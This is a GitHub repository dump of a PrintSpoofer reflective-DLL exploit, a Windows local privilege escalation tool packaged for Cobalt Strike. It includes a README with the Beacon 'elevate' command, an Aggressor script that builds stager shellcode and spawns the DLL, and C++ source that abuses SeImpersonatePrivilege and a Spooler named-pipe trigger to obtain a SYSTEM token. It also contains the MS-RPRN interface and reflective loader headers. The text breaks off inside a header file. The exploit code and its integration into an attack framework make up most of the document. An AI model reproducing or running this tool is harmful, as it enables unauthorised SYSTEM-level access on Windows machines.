├── img └── images.png ├── PrintSpoofer ├── resource.h ├── PrintSpoofer.rc ├── PrintSpoofer.h ├── PrintSpoofer.vcxproj.filters ├── dllmain.cpp ├── ReflectiveDllInjection.h ├── ms-rprn.idl ├── ReflectiveLoader.h ├── PrintSpoofer.vcxproj ├── PrintSpoofer.cpp ├── ReflectiveLoader.cpp └── ms-rprn_s.c ├── cna ├── PrintSpoofer.x64.dll ├── PrintSpoofer.x86.dll └── printspoofer.cna ├── README.md ├── PrintSpoofer.sln ├── .gitattributes └── .gitignore /img/images.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crisprss/PrintSpoofer/HEAD/img/images.png -------------------------------------------------------------------------------- /PrintSpoofer/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crisprss/PrintSpoofer/HEAD/PrintSpoofer/resource.h -------------------------------------------------------------------------------- /cna/PrintSpoofer.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crisprss/PrintSpoofer/HEAD/cna/PrintSpoofer.x64.dll -------------------------------------------------------------------------------- /cna/PrintSpoofer.x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crisprss/PrintSpoofer/HEAD/cna/PrintSpoofer.x86.dll -------------------------------------------------------------------------------- /PrintSpoofer/PrintSpoofer.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crisprss/PrintSpoofer/HEAD/PrintSpoofer/PrintSpoofer.rc -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PrintSpoofer-ReflectiveDLL 2 | 3 | ## Usage 4 | In Cobalt Strike Beacon: 5 | 6 | elevate PrintSpoofer LISTENER_NAME 7 | 8 | 9 | 10 | ![](img/images.png) 11 | -------------------------------------------------------------------------------- /PrintSpoofer/PrintSpoofer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define VERSION L"0.1" 4 | 5 | BOOL CheckAndEnablePrivilege(HANDLE hTokenToCheck, LPCWSTR pwszPrivilegeToCheck); 6 | BOOL GenerateRandomPipeName(LPWSTR *ppwszPipeName); 7 | HANDLE CreateSpoolNamedPipe(LPWSTR pwszPipeName); 8 | HANDLE ConnectSpoolNamedPipe(HANDLE hPipe); 9 | HANDLE TriggerNamedPipeConnection(LPWSTR pwszPipeName); 10 | DWORD WINAPI TriggerNamedPipeConnectionThread(LPVOID lpParam); 11 | BOOL GetSystem(HANDLE hPipe); 12 | -------------------------------------------------------------------------------- /cna/printspoofer.cna: -------------------------------------------------------------------------------- 1 | sub printspoofer { 2 | btask($1, "Task Beacon to run " . listener_describe($2) . " via PrintSpoofer"); 3 | 4 | if (-is64 $1) 5 | { 6 | $arch = "x64"; 7 | $dll = script_resource("PrintSpoofer.x64.dll"); 8 | } else { 9 | $arch = "x86"; 10 | $dll = script_resource("PrintSpoofer.x86.dll"); 11 | } 12 | $stager = shellcode($2, false, $arch); 13 | 14 | bdllspawn!($1, $dll, $stager, "PrintSpoofer local elevate privilege", 5000); 15 | 16 | bstage($1, $null, $2, $arch); 17 | } 18 | 19 | beacon_exploit_register("PrintSpoofer", "PrintSpoofer local elecate privilege", &printspoofer); 20 | -------------------------------------------------------------------------------- /PrintSpoofer.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30011.22 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PrintSpoofer", "PrintSpoofer\PrintSpoofer.vcxproj", "{B67143DE-321D-4034-AC1D-C6BB2D98563F}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Debug|x64.ActiveCfg = Debug|x64 17 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Debug|x64.Build.0 = Debug|x64 18 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Debug|x86.ActiveCfg = Debug|Win32 19 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Debug|x86.Build.0 = Debug|Win32 20 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Release|x64.ActiveCfg = Release|x64 21 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Release|x64.Build.0 = Release|x64 22 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Release|x86.ActiveCfg = Release|Win32 23 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {1B8A984C-63CB-459C-81BB-B14669C902C1} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /PrintSpoofer/PrintSpoofer.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | 46 | 47 | Source Files 48 | 49 | 50 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /PrintSpoofer/dllmain.cpp: -------------------------------------------------------------------------------- 1 | #include "ReflectiveLoader.h" 2 | #include "PrintSpoofer.h" 3 | #include 4 | 5 | extern HINSTANCE hAppInstance; 6 | EXTERN_C IMAGE_DOS_HEADER __ImageBase; 7 | 8 | BOOL PrintSpoofer() { 9 | BOOL bResult = TRUE; 10 | LPWSTR pwszPipeName = NULL; 11 | HANDLE hSpoolPipe = INVALID_HANDLE_VALUE; 12 | HANDLE hSpoolPipeEvent = INVALID_HANDLE_VALUE; 13 | HANDLE hSpoolTriggerThread = INVALID_HANDLE_VALUE; 14 | DWORD dwWait = 0; 15 | 16 | if (!CheckAndEnablePrivilege(NULL, SE_IMPERSONATE_NAME)) { 17 | wprintf(L"[-] A privilege is missing: '%ws'\n", SE_IMPERSONATE_NAME); 18 | bResult = FALSE; 19 | goto cleanup; 20 | } 21 | 22 | wprintf(L"[+] Found privilege: %ws\n", SE_IMPERSONATE_NAME); 23 | 24 | if (!GenerateRandomPipeName(&pwszPipeName)) { 25 | wprintf(L"[-] Failed to generate a name for the pipe.\n"); 26 | bResult = FALSE; 27 | goto cleanup; 28 | } 29 | 30 | if (!(hSpoolPipe = CreateSpoolNamedPipe(pwszPipeName))) { 31 | wprintf(L"[-] Failed to create a named pipe.\n"); 32 | bResult = FALSE; 33 | goto cleanup; 34 | } 35 | 36 | if (!(hSpoolPipeEvent = ConnectSpoolNamedPipe(hSpoolPipe))) { 37 | wprintf(L"[-] Failed to connect the named pipe.\n"); 38 | bResult = FALSE; 39 | goto cleanup; 40 | } 41 | 42 | wprintf(L"[+] Named pipe listening...\n"); 43 | 44 | if (!(hSpoolTriggerThread = TriggerNamedPipeConnection(pwszPipeName))) { 45 | wprintf(L"[-] Failed to trigger the Spooler service.\n"); 46 | bResult = FALSE; 47 | goto cleanup; 48 | } 49 | 50 | dwWait = WaitForSingleObject(hSpoolPipeEvent, 5000); 51 | if (dwWait != WAIT_OBJECT_0) { 52 | wprintf(L"[-] Operation failed or timed out.\n"); 53 | bResult = FALSE; 54 | goto cleanup; 55 | } 56 | 57 | if (!GetSystem(hSpoolPipe)) { 58 | bResult = FALSE; 59 | goto cleanup; 60 | } 61 | wprintf(L"[+] Exploit successfully, enjoy your shell\n"); 62 | 63 | cleanup: 64 | if (hSpoolPipe) 65 | CloseHandle(hSpoolPipe); 66 | if (hSpoolPipeEvent) 67 | CloseHandle(hSpoolPipeEvent); 68 | if (hSpoolTriggerThread) 69 | CloseHandle(hSpoolTriggerThread); 70 | 71 | return bResult; 72 | } 73 | 74 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { 75 | BOOL bReturnValue = TRUE; 76 | DWORD dwResult = 0; 77 | 78 | switch (dwReason) { 79 | case DLL_QUERY_HMODULE: 80 | if (lpReserved != NULL) 81 | *(HMODULE*)lpReserved = hAppInstance; 82 | break; 83 | case DLL_PROCESS_ATTACH: 84 | hAppInstance = hinstDLL; 85 | if (PrintSpoofer()) { 86 | fflush(stdout); 87 | 88 | if (lpReserved != NULL) 89 | ((VOID(*)())lpReserved)(); 90 | } else { 91 | fflush(stdout); 92 | } 93 | 94 | ExitProcess(0); 95 | break; 96 | case DLL_PROCESS_DETACH: 97 | case DLL_THREAD_ATTACH: 98 | case DLL_THREAD_DETACH: 99 | break; 100 | } 101 | return bReturnValue; 102 | } -------------------------------------------------------------------------------- /PrintSpoofer/ReflectiveDllInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); 45 | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// 52 | -------------------------------------------------------------------------------- /PrintSpoofer/ms-rprn.idl: -------------------------------------------------------------------------------- 1 | // https://github.com/leechristensen/SpoolSample/blob/master/MS-RPRN/ms-rprn.idl 2 | // [MS-RPRN] interface 3 | [ 4 | uuid(12345678-1234-ABCD-EF00-0123456789AB), 5 | version(1.0), 6 | ms_union, 7 | endpoint("ncacn_np:[\\pipe\\spoolss]"), 8 | pointer_default(unique) 9 | ] 10 | 11 | interface winspool { 12 | 13 | import "oaidl.idl"; 14 | 15 | #if __midl < 700 16 | #define disable_consistency_check 17 | #endif 18 | // [MS-RPRN] common info container structures 19 | typedef struct _DEVMODE_CONTAINER { 20 | DWORD cbBuf; 21 | [size_is(cbBuf), unique] BYTE* pDevMode; 22 | } DEVMODE_CONTAINER; 23 | 24 | typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE { 25 | unsigned short Type; 26 | unsigned short Reserved0; 27 | DWORD Reserved1; 28 | DWORD Reserved2; 29 | DWORD Count; 30 | [size_is(Count), unique] unsigned short* pFields; 31 | } RPC_V2_NOTIFY_OPTIONS_TYPE; 32 | 33 | typedef struct _RPC_V2_NOTIFY_OPTIONS { 34 | DWORD Version; 35 | DWORD Reserved; 36 | DWORD Count; 37 | [size_is(Count), unique] RPC_V2_NOTIFY_OPTIONS_TYPE* pTypes; 38 | } RPC_V2_NOTIFY_OPTIONS; 39 | 40 | // [MS-RPRN] common data types 41 | typedef unsigned short LANGID; 42 | typedef [context_handle] void* GDI_HANDLE; 43 | typedef [context_handle] void* PRINTER_HANDLE; 44 | typedef [handle] wchar_t* STRING_HANDLE; 45 | 46 | // [MS-RPRN] methods 47 | DWORD RpcEnumPrinters(); 48 | DWORD RpcOpenPrinter( 49 | [in, string, unique] STRING_HANDLE pPrinterName, 50 | [out] PRINTER_HANDLE* pHandle, 51 | [in, string, unique] wchar_t* pDatatype, 52 | [in] DEVMODE_CONTAINER* pDevModeContainer, 53 | [in] DWORD AccessRequired 54 | ); 55 | DWORD RpcSetJob(); 56 | DWORD RpcGetJob(); 57 | DWORD RpcEnumJobs(); 58 | DWORD RpcAddPrinter(); 59 | DWORD RpcDeletePrinter(); 60 | DWORD RpcSetPrinter(); 61 | DWORD RpcGetPrinter(); 62 | DWORD RpcAddPrinterDriver(); 63 | DWORD RpcEnumPrinterDrivers(); 64 | DWORD RpcGetPrinterDriver(); 65 | DWORD RpcGetPrinterDriverDirectory(); 66 | DWORD RpcDeletePrinterDriver(); 67 | DWORD RpcAddPrintProcessor(); 68 | DWORD RpcEnumPrintProcessors(); 69 | DWORD RpcGetPrintProcessorDirectory(); 70 | DWORD RpcStartDocPrinter(); 71 | DWORD RpcStartPagePrinter(); 72 | DWORD RpcWritePrinter(); 73 | DWORD RpcEndPagePrinter(); 74 | DWORD RpcAbortPrinter(); 75 | DWORD RpcReadPrinter(); 76 | DWORD RpcEndDocPrinter(); 77 | DWORD RpcAddJob(); 78 | DWORD RpcScheduleJob(); 79 | DWORD RpcGetPrinterData(); 80 | DWORD RpcSetPrinterData(); 81 | DWORD RpcWaitForPrinterChange(); 82 | DWORD RpcClosePrinter( 83 | [in, out] PRINTER_HANDLE* phPrinter 84 | ); 85 | DWORD RpcAddForm(); 86 | DWORD RpcDeleteForm(); 87 | DWORD RpcGetForm(); 88 | DWORD RpcSetForm(); 89 | DWORD RpcEnumForms(); 90 | DWORD RpcEnumPorts(); 91 | DWORD RpcEnumMonitors(); 92 | void Opnum37NotUsedOnWire(); 93 | void Opnum38NotUsedOnWire(); 94 | DWORD RpcDeletePort(); 95 | DWORD RpcCreatePrinterIC(); 96 | DWORD RpcPlayGdiScriptOnPrinterIC(); 97 | DWORD RpcDeletePrinterIC(); 98 | void Opnum43NotUsedOnWire(); 99 | void Opnum44NotUsedOnWire(); 100 | void Opnum45NotUsedOnWire(); 101 | DWORD RpcAddMonitor(); 102 | DWORD RpcDeleteMonitor(); 103 | DWORD RpcDeletePrintProcessor(); 104 | void Opnum49NotUsedOnWire(); 105 | void Opnum50NotUsedOnWire(); 106 | DWORD RpcEnumPrintProcessorDatatypes(); 107 | DWORD RpcResetPrinter(); 108 | DWORD RpcGetPrinterDriver2(); 109 | void Opnum54NotUsedOnWire(); 110 | void Opnum55NotUsedOnWire(); 111 | DWORD RpcFindClosePrinterChangeNotification(); 112 | void Opnum57NotUsedOnWire(); 113 | DWORD RpcReplyOpenPrinter(); 114 | DWORD RpcRouterReplyPrinter(); 115 | DWORD RpcReplyClosePrinter(); 116 | DWORD RpcAddPortEx(); 117 | DWORD RpcRemoteFindFirstPrinterChangeNotification(); 118 | void Opnum63NotUsedOnWire(); 119 | void Opnum64NotUsedOnWire(); 120 | DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 121 | [in] PRINTER_HANDLE hPrinter, 122 | [in] DWORD fdwFlags, 123 | [in] DWORD fdwOptions, 124 | [in, string, unique] wchar_t* pszLocalMachine, 125 | [in] DWORD dwPrinterLocal, 126 | [in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions 127 | ); 128 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | [Aa][Rr][Mm]/ 24 | [Aa][Rr][Mm]64/ 25 | bld/ 26 | [Bb]in/ 27 | [Oo]bj/ 28 | [Ll]og/ 29 | 30 | # Visual Studio 2015/2017 cache/options directory 31 | .vs/ 32 | # Uncomment if you have tasks that create the project's static files in wwwroot 33 | #wwwroot/ 34 | 35 | # Visual Studio 2017 auto generated files 36 | Generated\ Files/ 37 | 38 | # MSTest test Results 39 | [Tt]est[Rr]esult*/ 40 | [Bb]uild[Ll]og.* 41 | 42 | # NUNIT 43 | *.VisualState.xml 44 | TestResult.xml 45 | 46 | # Build Results of an ATL Project 47 | [Dd]ebugPS/ 48 | [Rr]eleasePS/ 49 | dlldata.c 50 | 51 | # Benchmark Results 52 | BenchmarkDotNet.Artifacts/ 53 | 54 | # .NET Core 55 | project.lock.json 56 | project.fragment.lock.json 57 | artifacts/ 58 | 59 | # StyleCop 60 | StyleCopReport.xml 61 | 62 | # Files built by Visual Studio 63 | *_i.c 64 | *_p.c 65 | *_h.h 66 | *.ilk 67 | *.meta 68 | *.obj 69 | *.iobj 70 | *.pch 71 | *.pdb 72 | *.ipdb 73 | *.pgc 74 | *.pgd 75 | *.rsp 76 | *.sbr 77 | *.tlb 78 | *.tli 79 | *.tlh 80 | *.tmp 81 | *.tmp_proj 82 | *_wpftmp.csproj 83 | *.log 84 | *.vspscc 85 | *.vssscc 86 | .builds 87 | *.pidb 88 | *.svclog 89 | *.scc 90 | 91 | # Chutzpah Test files 92 | _Chutzpah* 93 | 94 | # Visual C++ cache files 95 | ipch/ 96 | *.aps 97 | *.ncb 98 | *.opendb 99 | *.opensdf 100 | *.sdf 101 | *.cachefile 102 | *.VC.db 103 | *.VC.VC.opendb 104 | 105 | # Visual Studio profiler 106 | *.psess 107 | *.vsp 108 | *.vspx 109 | *.sap 110 | 111 | # Visual Studio Trace Files 112 | *.e2e 113 | 114 | # TFS 2012 Local Workspace 115 | $tf/ 116 | 117 | # Guidance Automation Toolkit 118 | *.gpState 119 | 120 | # ReSharper is a .NET coding add-in 121 | _ReSharper*/ 122 | *.[Rr]e[Ss]harper 123 | *.DotSettings.user 124 | 125 | # JustCode is a .NET coding add-in 126 | .JustCode 127 | 128 | # TeamCity is a build add-in 129 | _TeamCity* 130 | 131 | # DotCover is a Code Coverage Tool 132 | *.dotCover 133 | 134 | # AxoCover is a Code Coverage Tool 135 | .axoCover/* 136 | !.axoCover/settings.json 137 | 138 | # Visual Studio code coverage results 139 | *.coverage 140 | *.coveragexml 141 | 142 | # NCrunch 143 | _NCrunch_* 144 | .*crunch*.local.xml 145 | nCrunchTemp_* 146 | 147 | # MightyMoose 148 | *.mm.* 149 | AutoTest.Net/ 150 | 151 | # Web workbench (sass) 152 | .sass-cache/ 153 | 154 | # Installshield output folder 155 | [Ee]xpress/ 156 | 157 | # DocProject is a documentation generator add-in 158 | DocProject/buildhelp/ 159 | DocProject/Help/*.HxT 160 | DocProject/Help/*.HxC 161 | DocProject/Help/*.hhc 162 | DocProject/Help/*.hhk 163 | DocProject/Help/*.hhp 164 | DocProject/Help/Html2 165 | DocProject/Help/html 166 | 167 | # Click-Once directory 168 | publish/ 169 | 170 | # Publish Web Output 171 | *.[Pp]ublish.xml 172 | *.azurePubxml 173 | # Note: Comment the next line if you want to checkin your web deploy settings, 174 | # but database connection strings (with potential passwords) will be unencrypted 175 | *.pubxml 176 | *.publishproj 177 | 178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 179 | # checkin your Azure Web App publish settings, but sensitive information contained 180 | # in these scripts will be unencrypted 181 | PublishScripts/ 182 | 183 | # NuGet Packages 184 | *.nupkg 185 | # The packages folder can be ignored because of Package Restore 186 | **/[Pp]ackages/* 187 | # except build/, which is used as an MSBuild target. 188 | !**/[Pp]ackages/build/ 189 | # Uncomment if necessary however generally it will be regenerated when needed 190 | #!**/[Pp]ackages/repositories.config 191 | # NuGet v3's project.json files produces more ignorable files 192 | *.nuget.props 193 | *.nuget.targets 194 | 195 | # Microsoft Azure Build Output 196 | csx/ 197 | *.build.csdef 198 | 199 | # Microsoft Azure Emulator 200 | ecf/ 201 | rcf/ 202 | 203 | # Windows Store app package directories and files 204 | AppPackages/ 205 | BundleArtifacts/ 206 | Package.StoreAssociation.xml 207 | _pkginfo.txt 208 | *.appx 209 | 210 | # Visual Studio cache files 211 | # files ending in .cache can be ignored 212 | *.[Cc]ache 213 | # but keep track of directories ending in .cache 214 | !?*.[Cc]ache/ 215 | 216 | # Others 217 | ClientBin/ 218 | ~$* 219 | *~ 220 | *.dbmdl 221 | *.dbproj.schemaview 222 | *.jfm 223 | *.pfx 224 | *.publishsettings 225 | orleans.codegen.cs 226 | 227 | # Including strong name files can present a security risk 228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 229 | #*.snk 230 | 231 | # Since there are multiple workflows, uncomment next line to ignore bower_components 232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 233 | #bower_components/ 234 | 235 | # RIA/Silverlight projects 236 | Generated_Code/ 237 | 238 | # Backup & report files from converting an old project file 239 | # to a newer Visual Studio version. Backup files are not needed, 240 | # because we have git ;-) 241 | _UpgradeReport_Files/ 242 | Backup*/ 243 | UpgradeLog*.XML 244 | UpgradeLog*.htm 245 | ServiceFabricBackup/ 246 | *.rptproj.bak 247 | 248 | # SQL Server files 249 | *.mdf 250 | *.ldf 251 | *.ndf 252 | 253 | # Business Intelligence projects 254 | *.rdl.data 255 | *.bim.layout 256 | *.bim_*.settings 257 | *.rptproj.rsuser 258 | *- Backup*.rdl 259 | 260 | # Microsoft Fakes 261 | FakesAssemblies/ 262 | 263 | # GhostDoc plugin setting file 264 | *.GhostDoc.xml 265 | 266 | # Node.js Tools for Visual Studio 267 | .ntvs_analysis.dat 268 | node_modules/ 269 | 270 | # Visual Studio 6 build log 271 | *.plg 272 | 273 | # Visual Studio 6 workspace options file 274 | *.opt 275 | 276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 277 | *.vbw 278 | 279 | # Visual Studio LightSwitch build output 280 | **/*.HTMLClient/GeneratedArtifacts 281 | **/*.DesktopClient/GeneratedArtifacts 282 | **/*.DesktopClient/ModelManifest.xml 283 | **/*.Server/GeneratedArtifacts 284 | **/*.Server/ModelManifest.xml 285 | _Pvt_Extensions 286 | 287 | # Paket dependency manager 288 | .paket/paket.exe 289 | paket-files/ 290 | 291 | # FAKE - F# Make 292 | .fake/ 293 | 294 | # JetBrains Rider 295 | .idea/ 296 | *.sln.iml 297 | 298 | # CodeRush personal settings 299 | .cr/personal 300 | 301 | # Python Tools for Visual Studio (PTVS) 302 | __pycache__/ 303 | *.pyc 304 | 305 | # Cake - Uncomment if you are using it 306 | # tools/** 307 | # !tools/packages.config 308 | 309 | # Tabs Studio 310 | *.tss 311 | 312 | # Telerik's JustMock configuration file 313 | *.jmconfig 314 | 315 | # BizTalk build output 316 | *.btp.cs 317 | *.btm.cs 318 | *.odx.cs 319 | *.xsd.cs 320 | 321 | # OpenCover UI analysis results 322 | OpenCover/ 323 | 324 | # Azure Stream Analytics local run output 325 | ASALocalRun/ 326 | 327 | # MSBuild Binary and Structured Log 328 | *.binlog 329 | 330 | # NVidia Nsight GPU debugger configuration file 331 | *.nvuser 332 | 333 | # MFractors (Xamarin productivity tool) working folder 334 | .mfractor/ 335 | 336 | # Local History for Visual Studio 337 | .localhistory/ 338 | 339 | # BeatPulse healthcheck temp database 340 | healthchecksdb -------------------------------------------------------------------------------- /PrintSpoofer/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | 35 | #include "ReflectiveDLLInjection.h" 36 | 37 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 38 | typedef FARPROC(WINAPI* 